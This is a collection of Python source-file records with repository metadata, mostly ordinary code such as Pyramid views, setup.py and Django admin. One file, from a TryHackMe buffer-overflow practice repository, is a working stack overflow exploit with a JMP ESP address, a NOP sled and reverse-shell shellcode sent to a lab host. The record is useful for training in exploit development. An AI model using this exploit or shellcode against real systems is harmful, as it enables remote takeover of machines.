#!/usr/bin/env python """ _GetFWJRByState_ Oracle implementation of Jobs.GetFWJRByState """ from WMCore.WMBS.MySQL.Jobs.GetFWJRByState import GetFWJRByState as MySQLGetFWJRByState class GetFWJRByState(MySQLGetFWJRByState): """ Identical to MySQL version. """ pass
15.888889
87
0.748252
28
286
7.571429
0.75
0.169811
0
0
0
0
0
0
0
0
0
0
0.160839
286
17
88
16.823529
0.883333
0.388112
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0.333333
0.333333
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
1
0
1
0
0
5
8abf421f3e10419718f0181bd921ec374771679f
91
py
Python
wataru/exceptions.py
risuoku/wataru
63be36d15454abd0636f67eaf1e80728b8c5a9bd
[ "MIT" ]
null
null
null
wataru/exceptions.py
risuoku/wataru
63be36d15454abd0636f67eaf1e80728b8c5a9bd
[ "MIT" ]
null
null
null
wataru/exceptions.py
risuoku/wataru
63be36d15454abd0636f67eaf1e80728b8c5a9bd
[ "MIT" ]
null
null
null
class ConsoleCommandFailed(Exception): pass class ConvergeFailed(Exception): pass
15.166667
38
0.769231
8
91
8.75
0.625
0.371429
0
0
0
0
0
0
0
0
0
0
0.164835
91
5
39
18.2
0.921053
0
0
0.5
0
0
0
0
0
0
0
0
0
1
0
true
0.5
0
0
0.5
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
0
0
0
5
76ed52ed0aef1d53ce6f7139f90d5761d7e274e4
97
py
Python
xkcdwall/__main__.py
saru95/xkcd-everyday
9ef54d8bdb624d3dd7c74d90cf8922957ebe698b
[ "MIT" ]
null
null
null
xkcdwall/__main__.py
saru95/xkcd-everyday
9ef54d8bdb624d3dd7c74d90cf8922957ebe698b
[ "MIT" ]
null
null
null
xkcdwall/__main__.py
saru95/xkcd-everyday
9ef54d8bdb624d3dd7c74d90cf8922957ebe698b
[ "MIT" ]
null
null
null
# Allow calls using "python -m xkcdwall" command from .cmd import set_wallpaper set_wallpaper()
19.4
48
0.783505
14
97
5.285714
0.857143
0.324324
0
0
0
0
0
0
0
0
0
0
0.14433
97
4
49
24.25
0.891566
0.474227
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
76f82adea0166003b311711f837269c2a1ab3452
50
py
Python
cride/circles/serializers/__init__.py
valot3/Cride-API
a9e201942e6eecd479f575733e93ff73e6df573d
[ "MIT" ]
null
null
null
cride/circles/serializers/__init__.py
valot3/Cride-API
a9e201942e6eecd479f575733e93ff73e6df573d
[ "MIT" ]
null
null
null
cride/circles/serializers/__init__.py
valot3/Cride-API
a9e201942e6eecd479f575733e93ff73e6df573d
[ "MIT" ]
null
null
null
from .circles import * from .memberships import *
25
26
0.76
6
50
6.333333
0.666667
0
0
0
0
0
0
0
0
0
0
0
0.16
50
2
26
25
0.904762
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
0a1ded7e7549152360b17e112b26b842d2455b0d
32
py
Python
Lib/test/test_bastion.py
SaadBazaz/ChinesePython
800955539dda912d4a1621bcf5a700aaaddc012f
[ "CNRI-Python-GPL-Compatible" ]
3
2022-01-30T20:08:24.000Z
2022-02-12T08:51:12.000Z
Lib/test/test_bastion.py
SaadBazaz/ChinesePython
800955539dda912d4a1621bcf5a700aaaddc012f
[ "CNRI-Python-GPL-Compatible" ]
null
null
null
Lib/test/test_bastion.py
SaadBazaz/ChinesePython
800955539dda912d4a1621bcf5a700aaaddc012f
[ "CNRI-Python-GPL-Compatible" ]
1
2019-04-11T11:27:01.000Z
2019-04-11T11:27:01.000Z
import Bastion Bastion._test()
8
15
0.78125
4
32
6
0.75
0
0
0
0
0
0
0
0
0
0
0
0.125
32
3
16
10.666667
0.857143
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
0a22c90fa1d0b7680983620d7a6bd5f6505c78dd
213
py
Python
src/sattools/tputil.py
gerritholl/sattools
2ea5fd56c758d75679db336150cae9223ba697e0
[ "MIT" ]
null
null
null
src/sattools/tputil.py
gerritholl/sattools
2ea5fd56c758d75679db336150cae9223ba697e0
[ "MIT" ]
29
2020-03-18T11:17:43.000Z
2021-03-03T16:22:18.000Z
src/sattools/tputil.py
gerritholl/sattools
2ea5fd56c758d75679db336150cae9223ba697e0
[ "MIT" ]
null
null
null
"""Routines for interacting with typhon.""" import satpy.readers def fileinfo2fspath(finfo): """Convert typhon FileInfo to satpy FSPath.""" return satpy.readers.FSFile(finfo.path, fs=finfo.file_system)
23.666667
65
0.741784
27
213
5.814815
0.777778
0.152866
0
0
0
0
0
0
0
0
0
0.005435
0.13615
213
8
66
26.625
0.847826
0.366197
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0.333333
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
0
1
0
0
5
6a727adc06a4f413069bc387ea1c556525ba78d0
1,265
py
Python
setup.py
vmikki/nameko-async-task
3803836385b7d2474a78fcc6b87d7db8a7769640
[ "Apache-2.0" ]
null
null
null
setup.py
vmikki/nameko-async-task
3803836385b7d2474a78fcc6b87d7db8a7769640
[ "Apache-2.0" ]
null
null
null
setup.py
vmikki/nameko-async-task
3803836385b7d2474a78fcc6b87d7db8a7769640
[ "Apache-2.0" ]
null
null
null
from setuptools import setup, find_packages setup( name='nameko-async-task', version='0.0.1', description='Async task utility for nameko services', author='timbu', url='http://github.com/timbu/nameko-async-task', packages=find_packages(exclude=['test', 'test.*']), install_requires=[ "nameko==3.0.0-rc5", # TODO: require nameko 3 only when released ], extras_require={ 'dev': [ "coverage==4.0.3", "flake8==2.5.4", "pylint==1.5.5", "pytest==3.0.5", ] }, zip_safe=True, license='Apache License, Version 2.0', classifiers=[ "Programming Language :: Python", "Operating System :: MacOS :: MacOS X", "Operating System :: POSIX", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Topic :: Internet", "Topic :: Software Development :: Libraries :: Python Modules", "Intended Audience :: Developers", ] )
32.435897
73
0.562055
136
1,265
5.191176
0.5
0.215297
0.283286
0.184136
0.076487
0
0
0
0
0
0
0.038377
0.279051
1,265
38
74
33.289474
0.735746
0.032411
0
0
0
0
0.5491
0
0
0
0
0.026316
0
1
0
true
0
0.027027
0
0.027027
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
1
0
0
0
0
0
0
5
6a842ffb1665481526a8ab0305c80451aa0f4714
48
py
Python
R_Drop/models/__init__.py
zpc-666/Paddle-R-Drop
c77be8bbb9b508493d86520f48fd275bc3966d77
[ "Apache-2.0" ]
2
2021-11-15T07:27:03.000Z
2022-01-04T14:00:18.000Z
R_Drop/models/__init__.py
zpc-666/Paddle-R-Drop
c77be8bbb9b508493d86520f48fd275bc3966d77
[ "Apache-2.0" ]
null
null
null
R_Drop/models/__init__.py
zpc-666/Paddle-R-Drop
c77be8bbb9b508493d86520f48fd275bc3966d77
[ "Apache-2.0" ]
null
null
null
from .modeling import VisionTransformer, CONFIGS
48
48
0.875
5
48
8.4
1
0
0
0
0
0
0
0
0
0
0
0
0.083333
48
1
48
48
0.954545
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
6a8942e519f929e6d373f061b066a8150b7a5fd4
2,521
py
Python
1/exploit.py
SxNade/THM_Buffer-Overflow-Prep
f4818a446c5ede939492a04f53cdb7398dbc0b8e
[ "BSD-3-Clause" ]
null
null
null
1/exploit.py
SxNade/THM_Buffer-Overflow-Prep
f4818a446c5ede939492a04f53cdb7398dbc0b8e
[ "BSD-3-Clause" ]
null
null
null
1/exploit.py
SxNade/THM_Buffer-Overflow-Prep
f4818a446c5ede939492a04f53cdb7398dbc0b8e
[ "BSD-3-Clause" ]
null
null
null
# Author: z3r0day import socket import sys import time print("[+] Nani! Final exploit check your shell at 4444....\n") buff = "A" * 1978 eip = "\xaf\x11\x50\x62" #0x625011AF JMP ESP pointer address nops = "\x90" * 20 shellcode = b"" shellcode += b"\xba\xad\x13\xdd\x9f\xda\xcd\xd9\x74\x24\xf4" shellcode += b"\x58\x33\xc9\xb1\x52\x83\xe8\xfc\x31\x50\x0e" shellcode += b"\x03\xfd\x1d\x3f\x6a\x01\xc9\x3d\x95\xf9\x0a" shellcode += b"\x22\x1f\x1c\x3b\x62\x7b\x55\x6c\x52\x0f\x3b" shellcode += b"\x81\x19\x5d\xaf\x12\x6f\x4a\xc0\x93\xda\xac" shellcode += b"\xef\x24\x76\x8c\x6e\xa7\x85\xc1\x50\x96\x45" shellcode += b"\x14\x91\xdf\xb8\xd5\xc3\x88\xb7\x48\xf3\xbd" shellcode += b"\x82\x50\x78\x8d\x03\xd1\x9d\x46\x25\xf0\x30" shellcode += b"\xdc\x7c\xd2\xb3\x31\xf5\x5b\xab\x56\x30\x15" shellcode += b"\x40\xac\xce\xa4\x80\xfc\x2f\x0a\xed\x30\xc2" shellcode += b"\x52\x2a\xf6\x3d\x21\x42\x04\xc3\x32\x91\x76" shellcode += b"\x1f\xb6\x01\xd0\xd4\x60\xed\xe0\x39\xf6\x66" shellcode += b"\xee\xf6\x7c\x20\xf3\x09\x50\x5b\x0f\x81\x57" shellcode += b"\x8b\x99\xd1\x73\x0f\xc1\x82\x1a\x16\xaf\x65" shellcode += b"\x22\x48\x10\xd9\x86\x03\xbd\x0e\xbb\x4e\xaa" shellcode += b"\xe3\xf6\x70\x2a\x6c\x80\x03\x18\x33\x3a\x8b" shellcode += b"\x10\xbc\xe4\x4c\x56\x97\x51\xc2\xa9\x18\xa2" shellcode += b"\xcb\x6d\x4c\xf2\x63\x47\xed\x99\x73\x68\x38" shellcode += b"\x0d\x23\xc6\x93\xee\x93\xa6\x43\x87\xf9\x28" shellcode += b"\xbb\xb7\x02\xe3\xd4\x52\xf9\x64\xd1\xb3\x0f" shellcode += b"\xf9\x8d\xb1\x0f\x10\x12\x3f\xe9\x78\xba\x69" shellcode += b"\xa2\x14\x23\x30\x38\x84\xac\xee\x45\x86\x27" shellcode += b"\x1d\xba\x49\xc0\x68\xa8\x3e\x20\x27\x92\xe9" shellcode += b"\x3f\x9d\xba\x76\xad\x7a\x3a\xf0\xce\xd4\x6d" shellcode += b"\x55\x20\x2d\xfb\x4b\x1b\x87\x19\x96\xfd\xe0" shellcode += b"\x99\x4d\x3e\xee\x20\x03\x7a\xd4\x32\xdd\x83" shellcode += b"\x50\x66\xb1\xd5\x0e\xd0\x77\x8c\xe0\x8a\x21" shellcode += b"\x63\xab\x5a\xb7\x4f\x6c\x1c\xb8\x85\x1a\xc0" shellcode += b"\x09\x70\x5b\xff\xa6\x14\x6b\x78\xdb\x84\x94" shellcode += b"\x53\x5f\xa4\x76\x71\xaa\x4d\x2f\x10\x17\x10" shellcode += b"\xd0\xcf\x54\x2d\x53\xe5\x24\xca\x4b\x8c\x21" shellcode += b"\x96\xcb\x7d\x58\x87\xb9\x81\xcf\xa8\xeb" payload = buff + eip + nops + shellcode s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Connect to the Application s.connect(('10.10.54.232', 1337)) s.recv(1024) #Recv the banner #Finally the vulnerable command PASS s.send('OVERFLOW1 ' + payload + '\r\n') s.send('EXIT\r\n') s.close() print("\nExecution Finished!\n")
38.784615
63
0.699326
504
2,521
3.494048
0.482143
0.187394
0.014764
0
0
0
0
0
0
0
0
0.212173
0.074574
2,521
64
64
39.390625
0.542649
0.04998
0
0
0
0.645833
0.642947
0.587694
0
1
0
0
0
1
0
false
0
0.0625
0
0.0625
0.041667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
1
1
1
null
1
0
0
0
0
0
0
0
0
0
0
0
0
5
0abd4cd7a7155d86a568cea9af49569cbed4d3a2
146
py
Python
admin.py
raccoondude/Pastebin
3f207d3838066497b2263fd8b4687a5036d524f3
[ "Apache-2.0" ]
1
2019-11-24T04:58:45.000Z
2019-11-24T04:58:45.000Z
admin.py
raccoondude/Pastebin
3f207d3838066497b2263fd8b4687a5036d524f3
[ "Apache-2.0" ]
null
null
null
admin.py
raccoondude/Pastebin
3f207d3838066497b2263fd8b4687a5036d524f3
[ "Apache-2.0" ]
null
null
null
from django.contrib import admin from .models import * # Register your models here. admin.site.register(Paste) admin.site.register(EncryptPaste)
20.857143
33
0.80137
20
146
5.85
0.6
0.153846
0.290598
0
0
0
0
0
0
0
0
0
0.109589
146
6
34
24.333333
0.9
0.178082
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
0ac825a6ef96afd9941cf92b8288c92b05596cd3
128
py
Python
Documentation/GuidesFromPlosCompBioPaper/ExampleCaseC/AdditionalInputFiles/PRSCondition/LCxcoronaryRpController.py
carthurs/CRIMSONGUI
1464df9c4d04cf3ba131ca90b91988a06845c68e
[ "BSD-3-Clause" ]
10
2020-09-17T18:55:31.000Z
2022-02-23T02:52:38.000Z
Documentation/GuidesFromPlosCompBioPaper/ExampleCaseC/AdditionalInputFiles/PRSCondition/LCxcoronaryRpController.py
carthurs/CRIMSONGUI
1464df9c4d04cf3ba131ca90b91988a06845c68e
[ "BSD-3-Clause" ]
null
null
null
Documentation/GuidesFromPlosCompBioPaper/ExampleCaseC/AdditionalInputFiles/PRSCondition/LCxcoronaryRpController.py
carthurs/CRIMSONGUI
1464df9c4d04cf3ba131ca90b91988a06845c68e
[ "BSD-3-Clause" ]
3
2021-05-19T09:02:21.000Z
2021-07-26T17:39:57.000Z
version https://git-lfs.github.com/spec/v1 oid sha256:095856afeb16b492a560bdfc511efe2dc6e8912f568d9ee37531c3bcd6685414 size 712
32
75
0.882813
13
128
8.692308
1
0
0
0
0
0
0
0
0
0
0
0.385246
0.046875
128
3
76
42.666667
0.540984
0
0
0
0
0
0
0
0
1
0
0
0
0
null
null
0
0
null
null
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
0
0
0
null
1
0
0
0
1
0
0
0
0
0
0
0
0
5
0aee8de72486d950aa0ef75786ce525b73c9e9da
353
py
Python
modules/environment.py
Xeratec/pytrojan
42e1eb928d69ac514d8cbb0b0784bd8f0bf8f4a5
[ "MIT" ]
1
2020-05-08T08:59:35.000Z
2020-05-08T08:59:35.000Z
modules/environment.py
Xeratec/pytrojan
42e1eb928d69ac514d8cbb0b0784bd8f0bf8f4a5
[ "MIT" ]
null
null
null
modules/environment.py
Xeratec/pytrojan
42e1eb928d69ac514d8cbb0b0784bd8f0bf8f4a5
[ "MIT" ]
null
null
null
MHg2OCH76qZr/Uhf4pMliLJ3g/dWg2w2afLnOQ+/X61Q1ezGya6u3H5bcPJDr4Kc3SCM4R+kLRWv 2CMaCtgB4ApAd95pbcCjgj72Fz+KcEO4DwOcD0GdNjZwEFZwM7Ck2ggpr0ChS1DULXfQ5JEjS7xU iipQzA2mrfjogNCiyG7A9PyeT6uCct/FwCa7tL2NiWXidluyoYkIpbkMYOC6s35o6hFYtDb+zI8m WBmoTYn117LhBPAHhzItNA3OW3frvF24iPYfJdBYGk7xDBDG0oT1FWAEWhGC+zQCVlhnIhAY0e/U d6EghPQ4NZPDryZLoFcTtD577h8ai5JkdNiX4aE4jYM=
58.833333
76
0.954674
14
353
24.071429
1
0
0
0
0
0
0
0
0
0
0
0.175287
0.014164
353
5
77
70.6
0.793103
0
0
0
0
0
0
0
0
1
0
0
0
0
null
null
0
0
null
null
0
1
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
1
0
0
0
1
0
0
0
0
0
0
0
0
5
0aef05e9afd467300fb52a1ec7c5ee2539a82e40
44
py
Python
pytify/core/exceptions.py
marcelolandivar/Spotify
283ce2c33a74d176f48be82357b13cba646b50dc
[ "MIT" ]
null
null
null
pytify/core/exceptions.py
marcelolandivar/Spotify
283ce2c33a74d176f48be82357b13cba646b50dc
[ "MIT" ]
null
null
null
pytify/core/exceptions.py
marcelolandivar/Spotify
283ce2c33a74d176f48be82357b13cba646b50dc
[ "MIT" ]
null
null
null
class BadRequestError(Exception): pass
11
33
0.75
4
44
8.25
1
0
0
0
0
0
0
0
0
0
0
0
0.181818
44
3
34
14.666667
0.916667
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0.5
0
0
0.5
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
0
0
0
5
0afe91597a92129a949579443b626bec05863e7c
8,949
py
Python
back/infolica/views/default.py
sitn/infolica
0ce145f4c5eb90aec8184006d61a41239b8e1d3e
[ "MIT" ]
null
null
null
back/infolica/views/default.py
sitn/infolica
0ce145f4c5eb90aec8184006d61a41239b8e1d3e
[ "MIT" ]
327
2019-10-29T13:35:25.000Z
2022-03-03T10:01:46.000Z
back/infolica/views/default.py
sitn/infolica
0ce145f4c5eb90aec8184006d61a41239b8e1d3e
[ "MIT" ]
5
2019-11-07T15:49:05.000Z
2021-03-08T08:59:56.000Z
# -*- coding: utf-8 -*-- from pyramid.httpexceptions import HTTPForbidden, HTTPNoContent from pyramid.view import notfound_view_config, view_config from sqlalchemy import exc from infolica.exceptions.custom_error import CustomError from infolica.models.models import Client from infolica.scripts.utils import Utils import logging log = logging.getLogger(__name__) @view_config(route_name='test_client', request_method='POST', renderer='json') def test_error(exc, request): """ Test (temp endpoint) """ query = request.dbsession.query(Client).first() query = Utils.set_model_record(query, request.params) return Utils.serialize_one(query) @view_config(route_name='login', request_method='OPTIONS', renderer='json') @view_config(route_name='login_s', request_method='OPTIONS', renderer='json') @view_config(route_name='logout', request_method='OPTIONS', renderer='json') @view_config(route_name='affaires', request_method='OPTIONS', renderer='json') @view_config(route_name='affaires_s', request_method='OPTIONS', renderer='json') @view_config(route_name='recherche_clients', request_method='OPTIONS', renderer='json') @view_config(route_name='recherche_clients_s', request_method='OPTIONS', renderer='json') @view_config(route_name='recherche_affaires', request_method='OPTIONS', renderer='json') @view_config(route_name='recherche_affaires_s', request_method='OPTIONS', renderer='json') @view_config(route_name='recherche_numeros', request_method='OPTIONS', renderer='json') @view_config(route_name='recherche_numeros_s', request_method='OPTIONS', renderer='json') @view_config(route_name='clients', request_method='OPTIONS', renderer='json') @view_config(route_name='clients_s', request_method='OPTIONS', renderer='json') @view_config(route_name='operateurs', request_method='OPTIONS', renderer='json') @view_config(route_name='operateurs_s', request_method='OPTIONS', renderer='json') @view_config(route_name='factures', request_method='OPTIONS', renderer='json') @view_config(route_name='factures_s', request_method='OPTIONS', renderer='json') @view_config(route_name='numero_by_id', request_method='OPTIONS', renderer='json') @view_config(route_name='reference_numeros', request_method='OPTIONS', renderer='json') @view_config(route_name='reference_numeros_s', request_method='OPTIONS', renderer='json') @view_config(route_name='preavis', request_method='OPTIONS', renderer='json') @view_config(route_name='preavis_s', request_method='OPTIONS', renderer='json') @view_config(route_name='suivi_mandats', request_method='OPTIONS', renderer='json') @view_config(route_name='suivi_mandats_s', request_method='OPTIONS', renderer='json') @view_config(route_name='controles_mutations', request_method='OPTIONS', renderer='json') @view_config(route_name='controles_mutations_s', request_method='OPTIONS', renderer='json') @view_config(route_name='controles_ppe', request_method='OPTIONS', renderer='json') @view_config(route_name='controles_ppe_s', request_method='OPTIONS', renderer='json') @view_config(route_name='numeros_differes', request_method='OPTIONS', renderer='json') @view_config(route_name='numeros_differes_s', request_method='OPTIONS', renderer='json') @view_config(route_name='courrier_affaire', request_method='OPTIONS', renderer='json') @view_config(route_name='courrier_affaire_s', request_method='OPTIONS', renderer='json') @view_config(route_name='delete_affaire_document', request_method='OPTIONS', renderer='json') @view_config(route_name='numeros', request_method='OPTIONS', renderer='json') @view_config(route_name='numeros_s', request_method='OPTIONS', renderer='json') @view_config(route_name='numeros_relations', request_method='OPTIONS', renderer='json') @view_config(route_name='numeros_relations_s', request_method='OPTIONS', renderer='json') @view_config(route_name='affaire_numeros', request_method='OPTIONS', renderer='json') @view_config(route_name='affaire_numeros_s', request_method='OPTIONS', renderer='json') @view_config(route_name='client_moral_personnes', request_method='OPTIONS', renderer='json') @view_config(route_name='client_moral_personnes_s', request_method='OPTIONS', renderer='json') @view_config(route_name='reservation_numeros_mo', request_method='OPTIONS', renderer='json') @view_config(route_name='controle_geometre', request_method='OPTIONS', renderer='json') @view_config(route_name='controle_geometre_s', request_method='OPTIONS', renderer='json') @view_config(route_name='save_document', request_method='OPTIONS', renderer='json') @view_config(route_name='operateur_notes_maj', request_method='OPTIONS', renderer='json') @view_config(route_name='emolument_affaire', request_method='OPTIONS', renderer='json') @view_config(route_name='emolument', request_method='OPTIONS', renderer='json') @view_config(route_name='emolument_affaire_freeze', request_method='OPTIONS', renderer='json') @view_config(route_name='emolument_affaire_repartiton', request_method='OPTIONS', renderer='json') def options_response_view(request): """ Common OPTION RESPONSE """ return '' @view_config(context=Exception, renderer='json') def general_error(exc, request): """ Common Exception return message """ err = str(exc.orig) if hasattr(exc, 'orig') else str(exc) log.error(err) request.response.status = 500 return {'error': 'true', 'code': 500, 'message': err} @view_config(context=exc.IntegrityError, renderer='json') def integrity_error(exc, request): """ Common IntegrityError return message """ err = str(exc.orig) if hasattr(exc, 'orig') else str(exc) log.error(err) request.response.status = 500 return {'error': 'true', 'code': 500, 'message': err} @view_config(context=exc.StatementError, renderer='json') def statement_error(exc, request): """ Common StatementError return message """ err = str(exc.orig) if hasattr(exc, 'orig') else str(exc) log.error(err) request.response.status = 500 return {'error': 'true', 'code': 500, 'message': err} @view_config(context=exc.ResourceClosedError, renderer='json') def resource_closed_error(exc, request): """ Common ResourceClosedError return message """ err = str(exc.orig) if hasattr(exc, 'orig') else str(exc) log.error(err) request.response.status = 500 return {'error': 'true', 'code': 500, 'message': err} @view_config(context=exc.InternalError, renderer='json') def internal_error(exc, request): """ Common InternalError return message """ err = str(exc.orig) if hasattr(exc, 'orig') else str(exc) log.error(err) request.response.status = 500 return {'error': 'true', 'code': 500, 'message': err} @view_config(context=exc.NoReferenceError, renderer='json') def noreference_error(exc, request): """ Common NoReferenceError return message """ err = str(exc.orig) if hasattr(exc, 'orig') else str(exc) log.error(err) request.response.status = 500 return {'error': 'true', 'code': 500, 'message': err} @view_config(context=exc.InvalidRequestError, renderer='json') def invalidrequest_error(exc, request): """ Common InvalidRequestError, return message """ err = str(exc.orig) if hasattr(exc, 'orig') else str(exc) log.error(err) request.response.status = 500 return {'error': 'true', 'code': 500, 'message': err} @view_config(context=exc.DBAPIError, renderer='json') def dbaapi_error(exc, request): """ Common DBAPIError return message """ err = str(exc.orig) if hasattr(exc, 'orig') else str(exc) log.error(err) request.response.status = 500 return {'error': 'true', 'code': 500, 'message': err} @view_config(context=exc.SQLAlchemyError, renderer='json') def sqlalchemy_error(exc, request): """ Common SQLAlchemyError return message """ err = str(exc.orig) if hasattr(exc, 'orig') else str(exc) log.error(err) request.response.status = 500 return {'error': 'true', 'code': 500, 'message': err} @view_config(context=HTTPForbidden, renderer='json') def http_forbidden_error(exc, request): """ Common HTTPForbidden return message """ err = str(exc.orig) if hasattr(exc, 'orig') else str(exc) log.error(err) request.response.status = 403 return {'error': 'true', 'code': 403, 'message': err} @view_config(context=HTTPNoContent, renderer='json') def http_no_content_error(exc, request): """ Common HTTPNoContent return message """ err = str(exc.orig) if hasattr(exc, 'orig') else str(exc) log.error(err) request.response.status = 204 return {'error': 'true', 'code': 204, 'message': err} @notfound_view_config(renderer="json") def notfound(request): """ Common notfound return message """ msg = CustomError.NOT_FOUND_ERROR.format(request.url, request.method) log.error(msg) request.response.status = 404 return {'error': 'true', 'code': 404, 'message': msg}
42.014085
98
0.736507
1,144
8,949
5.534091
0.11451
0.102669
0.120834
0.153056
0.725952
0.712052
0.712052
0.712052
0.712052
0.703996
0
0.009157
0.109174
8,949
212
99
42.212264
0.784997
0.056654
0
0.291971
0
0
0.200729
0.019927
0
0
0
0
0
1
0.10219
false
0
0.051095
0
0.255474
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
7c4a116bd21ca82b6f4977d8bf6a0f409f7817e3
316
py
Python
src/services/forms.py
jhernandez18p/mobyapp
4add7bd3b3f1e933bbb6941674bf84f4c4462685
[ "MIT" ]
null
null
null
src/services/forms.py
jhernandez18p/mobyapp
4add7bd3b3f1e933bbb6941674bf84f4c4462685
[ "MIT" ]
7
2020-06-05T17:31:06.000Z
2022-03-11T23:16:34.000Z
src/services/forms.py
jhernandez18p/mobyapp
4add7bd3b3f1e933bbb6941674bf84f4c4462685
[ "MIT" ]
null
null
null
from django import forms class ServiceForm(forms.Form): name = forms.CharField(max_length=144, label='Nombre',) email = forms.CharField(max_length=144, label='Correo electronico',) subject = forms.CharField(max_length=144, label='Asunto',) message = forms.CharField(max_length=744, label='Mensaje',)
45.142857
72
0.737342
41
316
5.585366
0.536585
0.244541
0.296943
0.401747
0.406114
0.406114
0
0
0
0
0
0.043321
0.123418
316
7
73
45.142857
0.783394
0
0
0
0
0
0.116719
0
0
0
0
0
0
1
0
false
0
0.166667
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
5
7c7bc11501f9eba3fbde5ba0af3d137d2e910364
39
py
Python
flagsense/util/flagsense_error.py
flagsense/flagsense-python-sdk
24f5ccd0efab2bb0f13746c0ec34e2965bcc60af
[ "Apache-2.0" ]
null
null
null
flagsense/util/flagsense_error.py
flagsense/flagsense-python-sdk
24f5ccd0efab2bb0f13746c0ec34e2965bcc60af
[ "Apache-2.0" ]
null
null
null
flagsense/util/flagsense_error.py
flagsense/flagsense-python-sdk
24f5ccd0efab2bb0f13746c0ec34e2965bcc60af
[ "Apache-2.0" ]
null
null
null
class FlagsenseError(Exception): pass
13
32
0.820513
4
39
8
1
0
0
0
0
0
0
0
0
0
0
0
0.102564
39
2
33
19.5
0.914286
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0.5
0
0
0.5
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
0
0
0
5
7c7cd646ffc198c4cb321a3d75a95ccf0d3c1b09
62
py
Python
propel_app/views.py
syz247179876/e_mall
f94e39e091e098242342f532ae371b8ff127542f
[ "Apache-2.0" ]
7
2021-04-10T13:20:56.000Z
2022-03-29T15:00:29.000Z
propel_app/views.py
syz247179876/E_mall
f94e39e091e098242342f532ae371b8ff127542f
[ "Apache-2.0" ]
9
2021-05-11T03:53:31.000Z
2022-03-12T00:58:03.000Z
propel_app/views.py
syz247179876/E_mall
f94e39e091e098242342f532ae371b8ff127542f
[ "Apache-2.0" ]
2
2020-11-24T08:59:22.000Z
2020-11-24T14:10:59.000Z
from django.shortcuts import render # Create your apis here.
15.5
35
0.790323
9
62
5.444444
1
0
0
0
0
0
0
0
0
0
0
0
0.16129
62
3
36
20.666667
0.942308
0.354839
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
7c7cfaf417b6ffcdc3e9b604695158b1e60d6357
118
py
Python
mod/wn8master/res/scripts/client/mod_wn8master/__init__.py
SimonLoir/wot-wn8
28ddfc113110803c8f5427c7227b95438530a31e
[ "MIT" ]
1
2020-05-12T19:04:40.000Z
2020-05-12T19:04:40.000Z
mod/wn8master/res/scripts/client/mod_wn8master/__init__.py
SimonLoir/wot-wn8
28ddfc113110803c8f5427c7227b95438530a31e
[ "MIT" ]
null
null
null
mod/wn8master/res/scripts/client/mod_wn8master/__init__.py
SimonLoir/wot-wn8
28ddfc113110803c8f5427c7227b95438530a31e
[ "MIT" ]
null
null
null
from debug_utils import LOG_NOTE def start(): LOG_NOTE('Started mod') def stop(): LOG_NOTE('End of mod')
10.727273
32
0.661017
19
118
3.894737
0.684211
0.283784
0
0
0
0
0
0
0
0
0
0
0.220339
118
10
33
11.8
0.804348
0
0
0
0
0
0.177966
0
0
0
0
0
0
1
0.4
true
0
0.2
0
0.6
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
